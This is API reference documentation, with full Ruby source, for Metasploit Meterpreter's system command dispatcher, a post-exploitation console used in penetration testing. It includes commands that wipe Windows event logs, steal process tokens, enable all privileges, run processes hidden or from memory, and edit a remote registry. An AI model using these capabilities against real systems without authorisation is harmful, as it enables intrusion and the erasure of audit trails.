Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

Overview

The system level portion of the standard API extension.

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Sys
@@execute_opts =

Options used by the ‘execute’ command.

Rex::Parser::Arguments.new(
"-a" => [ true,  "The arguments to pass to the command."                   ],
"-c" => [ false, "Channelized I/O (required for interaction)."             ],
"-f" => [ true,  "The executable command to run."                          ],
"-h" => [ false, "Help menu."                                              ],
"-H" => [ false, "Create the process hidden from view."                    ],
"-i" => [ false, "Interact with the process after creating it."            ],
"-m" => [ false, "Execute from memory."                                    ],
"-d" => [ true,  "The 'dummy' executable to launch when using -m."         ],
"-t" => [ false, "Execute process with currently impersonated thread token"],
"-k" => [ false, "Execute process on the meterpreters current desktop"     ],
"-s" => [ true,  "Execute process in a given session as the session user"  ])
@@reboot_opts =

Options used by the ‘reboot’ command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-f" => [ true,  "Force a reboot, valid values [1|2]"                      ])
@@shutdown_opts =

Options used by the ‘shutdown’ command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-f" => [ true,  "Force a shutdown, valid values [1|2]"                    ])
@@reg_opts =

Options used by the ‘reg’ command.

Rex::Parser::Arguments.new(
"-d" => [ true,  "The data to store in the registry value."                ],
"-h" => [ false, "Help menu."                                              ],
"-k" => [ true,  "The registry key path (E.g. HKLM\\Software\\Foo)."       ],
"-t" => [ true,  "The registry value type (E.g. REG_SZ)."                  ],
"-v" => [ true,  "The registry value name (E.g. Stuff)."                   ],
"-r" => [ true,  "The remote machine name to connect to (with current process credentials" ],
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]."               ])
@@ps_opts =

Options for the ‘ps’ command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-S" => [ true,  "Filters processes on the process name using the supplied RegEx"],
"-A" => [ true,  "Filters processes on architecture (x86 or x86_64)"       ],
"-s" => [ false, "Show only SYSTEM processes"                              ],
"-U" => [ true,  "Filters processes on the user using the supplied RegEx"  ])
@@suspend_opts =

Options for the ‘suspend’ command.

Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."                                              ],
"-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
"-r" => [ false, "Resumes the target processes instead of suspending"      ])

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_clearev(*args) ⇒ Object

Clears the event log



312
313
314
315
316
317
318
319
320
321
322
323
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 312

def cmd_clearev(*args)

  logs = ['Application', 'System', 'Security']
  logs << args
  logs.flatten!

  logs.each do |name|
    log = client.sys.eventlog.open(name)
    print_status("Wiping #{log.length} records from #{name}...")
    log.clear
  end
end

#cmd_drop_token(*args) ⇒ Object

Drops any assumed token.



782
783
784
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 782

def cmd_drop_token(*args)
  print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
end

#cmd_execute(*args) ⇒ Object

Executes a command with some options.



161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 161

def cmd_execute(*args)
  if (args.length == 0)
    args.unshift("-h")
  end

  session     = nil
  interact    = false
  desktop     = false
  channelized = nil
  hidden      = nil
  from_mem    = false
  dummy_exec  = "cmd"
  cmd_args    = nil
  cmd_exec    = nil
  use_thread_token = false

  @@execute_opts.parse(args) { |opt, idx, val|
    case opt
      when "-a"
        cmd_args = val
      when "-c"
        channelized = true
      when "-f"
        cmd_exec = val
      when "-H"
        hidden = true
      when "-m"
        from_mem = true
      when "-d"
        dummy_exec = val
      when "-k"
        desktop = true
      when "-h"
        print(
          "Usage: execute -f file [options]\n\n" +
          "Executes a command on the remote machine.\n" +
          @@execute_opts.usage)
        return true
      when "-i"
        channelized = true
        interact = true
      when "-t"
        use_thread_token = true
      when "-s"
        session = val.to_i
    end
  }

  # Did we at least get an executable?
  if (cmd_exec == nil)
    print_error("You must specify an executable file with -f")
    return true
  end

  # Execute it
  p = client.sys.process.execute(cmd_exec, cmd_args,
    'Channelized' => channelized,
    'Desktop'     => desktop,
    'Session'     => session,
    'Hidden'      => hidden,
    'InMemory'    => (from_mem) ? dummy_exec : nil,
    'UseThreadToken' => use_thread_token)

  print_line("Process #{p.pid} created.")
  print_line("Channel #{p.channel.cid} created.") if (p.channel)

  if (interact and p.channel)
    shell.interact_with_channel(p.channel)
  end
end

#cmd_getenv(*args) ⇒ Object

Get the value of one or more environment variables from the target.



285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 285

def cmd_getenv(*args)
  vars = client.sys.config.getenvs(*args)

  if vars.length == 0
    print_error("None of the specified environment variables were found/set.")
  else
    table = Rex::Ui::Text::Table.new(
      'Header'    => 'Environment Variables',
      'Indent'    => 0,
      'SortIndex' => 1,
      'Columns'   => [
        'Variable', 'Value'
      ]
    )

    vars.each do |var, val|
      table << [ var, val ]
    end

    print_line
    print_line(table.to_s)
  end
end

#cmd_getpid(*args) ⇒ Object

Gets the process identifier that meterpreter is running in on the remote machine.



269
270
271
272
273
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 269

def cmd_getpid(*args)
  print_line("Current pid: #{client.sys.process.getpid}")

  return true
end

#cmd_getprivs(*args) ⇒ Object

Obtains as many privileges as possible on the target machine.



755
756
757
758
759
760
761
762
763
764
765
766
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 755

def cmd_getprivs(*args)
  if args.include? "-h"
    cmd_getprivs_help
  end
  print_line("=" * 60)
  print_line("Enabled Process Privileges")
  print_line("=" * 60)
  client.sys.config.getprivs.each do |priv|
    print_line("  #{priv}")
  end
  print_line("")
end

#cmd_getprivs_helpObject



741
742
743
744
745
746
747
748
749
750
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 741

def cmd_getprivs_help
  print_line "Usage: getprivs"
  print_line
  print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
  print_line "current process.  Note that this only enables existing privs and does not change"
  print_line "users or tokens."
  print_line
  print_line "See also: steal_token, getsystem"
  print_line
end

#cmd_getuid(*args) ⇒ Object

Displays the user that the server is running as.



278
279
280
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 278

def cmd_getuid(*args)
  print_line("Server username: #{client.sys.config.getuid}")
end

#cmd_kill(*args) ⇒ Object

Kills one or more processes.



328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 328

def cmd_kill(*args)
  # give'em help if they want it, or seem confused
  if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
    cmd_kill_help
    return true
  end

  self_destruct = args.include?("-s")

  if self_destruct
    valid_pids = [client.sys.process.getpid.to_i]
  else
    valid_pids = validate_pids(args)

    # validate all the proposed pids first so we can bail if one is bogus
    args.uniq!
    diff = args - valid_pids.map {|e| e.to_s}
    if not diff.empty? # then we had an invalid pid
      print_error("The following pids are not valid:  #{diff.join(", ").to_s}.  Quitting")
      return false
    end
  end

  # kill kill kill
  print_line("Killing: #{valid_pids.join(", ").to_s}")
  client.sys.process.kill(*(valid_pids.map { |x| x }))
  return true
end

#cmd_kill_helpObject

help for the kill command



360
361
362
363
364
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 360

def cmd_kill_help
  print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
  print_line("Terminate one or more processes.")
  print_line(" -s : Kills the pid associated with the current session.")
end

#cmd_ps(*args) ⇒ Object

Lists running processes.



415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 415

def cmd_ps(*args)
  processes = client.sys.process.get_processes
  @@ps_opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
      cmd_ps_help
      return true
    when "-S"
      print_line "Filtering on process name..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        if val.nil? or val.empty?
          print_line "You must supply a search term!"
          return false
        end
        searched_procs << proc  if proc["name"].match(/#{val}/)
      end
      processes = searched_procs
    when "-A"
      print_line "Filtering on arch..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        next if proc['arch'].nil? or proc['arch'].empty?
        if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
          print_line "You must select either x86 or x86_64"
          return false
        end
        searched_procs << proc  if proc["arch"] == val
      end
      processes = searched_procs
    when "-s"
      print_line "Filtering on SYSTEM processes..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        searched_procs << proc  if proc["user"] == "NT AUTHORITY\\SYSTEM"
      end
      processes = searched_procs
    when "-U"
      print_line "Filtering on user name..."
      searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
      processes.each do |proc|
        if val.nil? or val.empty?
          print_line "You must supply a search term!"
          return false
        end
        searched_procs << proc  if proc["user"].match(/#{val}/)
      end
      processes = searched_procs
    end
  end
  if (processes.length == 0)
    print_line("No running processes were found.")
  else
    print_line
    print_line(processes.to_table("Indent" => 1).to_s)
    print_line
  end
  return true
end

#cmd_ps_helpObject



475
476
477
478
479
480
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 475

def cmd_ps_help
  print_line "Use the command with no arguments to see all running processes."
  print_line "The following options can be used to filter those results:"

  print_line @@ps_opts.usage
end

#cmd_reboot(*args) ⇒ Object

Reboots the remote computer.



487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 487

def cmd_reboot(*args)
  force = 0

  if args.length == 1 and args[0].strip == "-h"
    print(
      "Usage: reboot [options]\n\n" +
      "Reboot the remote machine.\n" +
      @@reboot_opts.usage)
      return true
  end

  @@reboot_opts.parse(args) { |opt, idx, val|
    case opt
      when "-f"
        force = val.to_i
    end
  }
  print_line("Rebooting...")

  client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
end

#cmd_reg(*args) ⇒ Object

Modifies and otherwise interacts with the registry on the remote computer by allowing the client to enumerate, open, modify, and delete registry keys and values.



514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 514

def cmd_reg(*args)
  # Extract the command, if any
  cmd = args.shift

  if (args.length == 0)
    args.unshift("-h")
  end

  # Initiailze vars
  key     = nil
  value   = nil
  data    = nil
  type    = nil
  wowflag = 0x0000
  rem     = nil

  @@reg_opts.parse(args) { |opt, idx, val|
    case opt
      when "-h"
        print_line(
          "Usage: reg [command] [options]\n\n" +
          "Interact with the target machine's registry.\n" +
          @@reg_opts.usage +
          "COMMANDS:\n\n" +
          "    enumkey    Enumerate the supplied registry key [-k <key>]\n" +
          "    createkey  Create the supplied registry key  [-k <key>]\n" +
          "    deletekey  Delete the supplied registry key  [-k <key>]\n" +
          "    queryclass Queries the class of the supplied key [-k <key>]\n" +
          "    setval     Set a registry value [-k <key> -v <val> -d <data>]\n" +
          "    deleteval  Delete the supplied registry value [-k <key> -v <val>]\n" +
          "    queryval   Queries the data contents of a value [-k <key> -v <val>]\n\n")
        return false
      when "-k"
        key   = val
      when "-v"
        value = val
      when "-t"
        type  = val
      when "-d"
        data  = val
      when "-r"
        rem  = val
      when "-w"
        if val == '64'
          wowflag = KEY_WOW64_64KEY
        elsif val == '32'
          wowflag = KEY_WOW64_32KEY
        end
    end
  }

  # All commands require a key.
  if (key == nil)
    print_error("You must specify a key path (-k)")
    return false
  end

  # Split the key into its parts
  root_key, base_key = client.sys.registry.splitkey(key)

  begin
    # Rock it
    case cmd
      when "enumkey"

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        print_line(
          "Enumerating: #{key}\n")

        keys = open_key.enum_key
        vals = open_key.enum_value

        if (keys.length > 0)
          print_line("  Keys (#{keys.length}):\n")

          keys.each { |subkey|
            print_line("\t#{subkey}")
          }

          print_line
        end

        if (vals.length > 0)
          print_line("  Values (#{vals.length}):\n")

          vals.each { |val|
            print_line("\t#{val.name}")
          }

          print_line
        end

        if (vals.length == 0 and keys.length == 0)
          print_line("No children.")
        end

      when "createkey"
        open_key = nil
        if not rem
          open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
          end
        end

        print_line("Successfully created key: #{key}")

      when "deletekey"
        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end
        open_key.delete_key(base_key)

        print_line("Successfully deleted key: #{key}")

      when "setval"
        if (value == nil or data == nil)
          print_error("You must specify both a value name and data (-v, -d).")
          return false
        end

        type = "REG_SZ" if (type == nil)

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end

        open_key.set_value(value, client.sys.registry.type2str(type), data)

        print_line("Successful set #{value}.")

      when "deleteval"
        if (value == nil)
          print_error("You must specify a value name (-v).")
          return false
        end

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
          end
        end

        open_key.delete_value(value)

        print_line("Successfully deleted #{value}.")

      when "queryval"
        if (value == nil)
          print_error("You must specify a value name (-v).")
          return false
        end

        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        v = open_key.query_value(value)

        print(
          "Key: #{key}\n" +
          "Name: #{v.name}\n" +
          "Type: #{v.type_to_s}\n" +
          "Data: #{v.data}\n")

      when "queryclass"
        open_key = nil
        if not rem
          open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
        else
          remote_key = client.sys.registry.open_remote_key(rem, root_key)
          if remote_key
            open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
          end
        end

        data = open_key.query_class

        print("Data: #{data}\n")
      else
        print_error("Invalid command supplied: #{cmd}")
    end
  ensure
    open_key.close if (open_key)
  end
end

#cmd_rev2self(*args) ⇒ Object

Calls RevertToSelf() on the remote machine.



737
738
739
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 737

def cmd_rev2self(*args)
  client.sys.config.revert_to_self
end

#cmd_shell(*args) ⇒ Object

Drop into a system shell as specified by %COMSPEC% or as appropriate for the host.



236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 236

def cmd_shell(*args)
  case client.platform
  when /win/
    path = client.fs.file.expand_path("%COMSPEC%")
    path = (path and not path.empty?) ? path : "cmd.exe"

    # attempt the shell with thread impersonation
    begin
      cmd_execute("-f", path, "-c", "-H", "-i", "-t")
    rescue
      # if this fails, then we attempt without impersonation
      print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
      cmd_execute("-f", path, "-c", "-H", "-i")
    end
  when /linux/
    # Don't expand_path() this because it's literal anyway
    path = "/bin/sh"
    cmd_execute("-f", path, "-c", "-i")
  else
    # Then this is a multi-platform meterpreter (php or java), which
    # must special-case COMSPEC to return the system-specific shell.
    path = client.fs.file.expand_path("%COMSPEC%")
    # If that failed for whatever reason, guess it's unix
    path = (path and not path.empty?) ? path : "/bin/sh"
    cmd_execute("-f", path, "-c", "-i")
  end
end

#cmd_shutdown(*args) ⇒ Object

Shuts down the remote computer.



805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 805

def cmd_shutdown(*args)
  force = 0

  if args.length == 1 and args[0].strip == "-h"
    print(
      "Usage: shutdown [options]\n\n" +
      "Shutdown the remote machine.\n" +
      @@shutdown_opts.usage)
      return true
  end

  @@shutdown_opts.parse(args) { |opt, idx, val|
    case opt
      when "-f"
        force = val.to_i
    end
  }

  print_line("Shutting down...")

  client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
end

#cmd_steal_token(*args) ⇒ Object

Tries to steal the primary token from the target process.



771
772
773
774
775
776
777
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 771

def cmd_steal_token(*args)
  if(args.length != 1 or args[0] == "-h")
    print_error("Usage: steal_token [pid]")
    return
  end
  print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
end

#cmd_suspend(*args) ⇒ Boolean

TODO:

Accept process names, much of that code is done (kernelsmith)

Suspends or resumes a list of one or more pids

args can optionally be -c to continue on error or -r to resume instead of suspend, followed by a list of one or more valid pids

Parameters:

  • args (Array<String>)

    List of one of more pids

Returns:

  • (Boolean)

    Returns true if command was successful, else false



838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 838

def cmd_suspend(*args)
  # give'em help if they want it, or seem confused
  if args.length == 0 or (args.include? "-h")
    cmd_suspend_help
    return true
  end

  continue = args.delete("-c") || false
  resume = args.delete("-r") || false

  # validate all the proposed pids first so we can bail if one is bogus
  valid_pids = validate_pids(args)
  args.uniq!
  diff = args - valid_pids.map {|e| e.to_s}
  if not diff.empty? # then we had an invalid pid
    print_error("The following pids are not valid:  #{diff.join(", ").to_s}.")
    if continue
      print_status("Continuing.  Invalid args have been removed from the list.")
    else
      print_error("Quitting.  Use -c to continue using only the valid pids.")
      return false
    end
  end

  targetprocess = nil
  if resume
    print_status("Resuming: #{valid_pids.join(", ").to_s}")
  else
    print_status("Suspending: #{valid_pids.join(", ").to_s}")
  end
  begin
    valid_pids.each do |pid|
      print_status("Targeting process with PID #{pid}...")
      targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
      targetprocess.thread.each_thread do |x|
        if resume
          targetprocess.thread.open(x).resume
        else
          targetprocess.thread.open(x).suspend
        end
      end
    end
  rescue ::Rex::Post::Meterpreter::RequestError => e
    print_error "Error acting on the process:  #{e.to_s}."
    print_error "Try migrating to a process with the same owner as the target process."
    print_error "Also consider running the win_privs post module and confirm SeDebug priv."
    return false unless continue
  ensure
    targetprocess.close if targetprocess
  end
  return true
end

#cmd_suspend_helpObject

help for the suspend command



894
895
896
897
898
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 894

def cmd_suspend_help
  print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
  print_line("Suspend one or more processes.")
  print @@suspend_opts.usage
end

#cmd_sysinfo(*args) ⇒ Object

Displays information about the remote system.



789
790
791
792
793
794
795
796
797
798
799
800
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 789

def cmd_sysinfo(*args)
  info = client.sys.config.sysinfo
  width = "Meterpreter".length
  info.keys.each { |k| width = k.length if k.length > width and info[k] }

  info.each_pair do |key, value|
    print_line("#{key.ljust(width+1)}: #{value}") if value
  end
  print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")

  return true
end

#commandsObject

List of supported commands.



83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 83

def commands
  all = {
    "clearev"     => "Clear the event log",
    "drop_token"  => "Relinquishes any active impersonation token.",
    "execute"     => "Execute a command",
    "getpid"      => "Get the current process identifier",
    "getprivs"    => "Attempt to enable all privileges available to the current process",
    "getuid"      => "Get the user that the server is running as",
    "getenv"      => "Get one or more environment variable values",
    "kill"        => "Terminate a process",
    "ps"          => "List running processes",
    "reboot"      => "Reboots the remote computer",
    "reg"         => "Modify and interact with the remote registry",
    "rev2self"    => "Calls RevertToSelf() on the remote machine",
    "shell"       => "Drop into a system command shell",
    "shutdown"    => "Shuts down the remote computer",
    "steal_token" => "Attempts to steal an impersonation token from the target process",
    "suspend"     => "Suspends or resumes a list of processes",
    "sysinfo"     => "Gets information about the remote system, such as OS",
  }
  reqs = {
    "clearev"     => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
    "drop_token"  => [ "stdapi_sys_config_drop_token" ],
    "execute"     => [ "stdapi_sys_process_execute" ],
    "getpid"      => [ "stdapi_sys_process_getpid"  ],
    "getprivs"    => [ "stdapi_sys_config_getprivs" ],
    "getuid"      => [ "stdapi_sys_config_getuid" ],
    "getenv"      => [ "stdapi_sys_config_getenv" ],
    "kill"        => [ "stdapi_sys_process_kill" ],
    "ps"          => [ "stdapi_sys_process_get_processes" ],
    "reboot"      => [ "stdapi_sys_power_exitwindows" ],
    "reg"         => [
      "stdapi_registry_load_key",
      "stdapi_registry_unload_key",
      "stdapi_registry_open_key",
      "stdapi_registry_open_remote_key",
      "stdapi_registry_create_key",
      "stdapi_registry_delete_key",
      "stdapi_registry_close_key",
      "stdapi_registry_enum_key",
      "stdapi_registry_set_value",
      "stdapi_registry_query_value",
      "stdapi_registry_delete_value",
      "stdapi_registry_query_class",
      "stdapi_registry_enum_value",
    ],
    "rev2self"    => [ "stdapi_sys_config_rev2self" ],
    "shell"       => [ "stdapi_sys_process_execute" ],
    "shutdown"    => [ "stdapi_sys_power_exitwindows" ],
    "steal_token" => [ "stdapi_sys_config_steal_token" ],
    "suspend"     => [ "stdapi_sys_process_attach"],
    "sysinfo"     => [ "stdapi_sys_config_sysinfo" ],
  }

  all.delete_if do |cmd, desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end

    del
  end

  all
end

#nameObject

Name for this dispatcher.



154
155
156
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 154

def name
  "Stdapi: System"
end

#validate_pids(pids, allow_pid_0 = false, allow_session_pid = false) ⇒ Array

validates an array of pids against the running processes on target host behavior can be controlled to allow/deny proces 0 and the session’s process the pids:

  • are converted to integers

  • have had pid 0 removed unless allow_pid_0

  • have had current session pid removed unless allow_session_pid (to protect the session)

  • have redundant entries removed

Parameters:

  • pids (Array<String>)

    The pids to validate

  • allow_pid_0 (Boolean) (defaults to: false)

    whether to consider a pid of 0 as valid

  • allow_session_pid (Boolean) (defaults to: false)

    whether to consider a pid = the current session pid as valid

Returns:

  • (Array)

    Returns an array of valid pids



380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 380

def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)

  return [] if (pids.class != Array or pids.empty?)
  valid_pids = []
  # to minimize network traffic, we only get host processes once
  host_processes = client.sys.process.get_processes
  if host_processes.length < 1
    print_error "No running processes found on the target host."
    return []
  end

  # get the current session pid so we don't suspend it later
  mypid = client.sys.process.getpid.to_i

  # remove nils & redundant pids, conver to int
  clean_pids = pids.compact.uniq.map{|x| x.to_i}
  # now we look up the pids & remove bad stuff if nec
  clean_pids.delete_if do |p|
    ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
  end
  clean_pids.each do |pid|
    # find the process with this pid
    theprocess = host_processes.find {|x| x["pid"] == pid}
    if ( theprocess.nil? )
      next
    else
      valid_pids << pid
    end
  end
  return valid_pids
end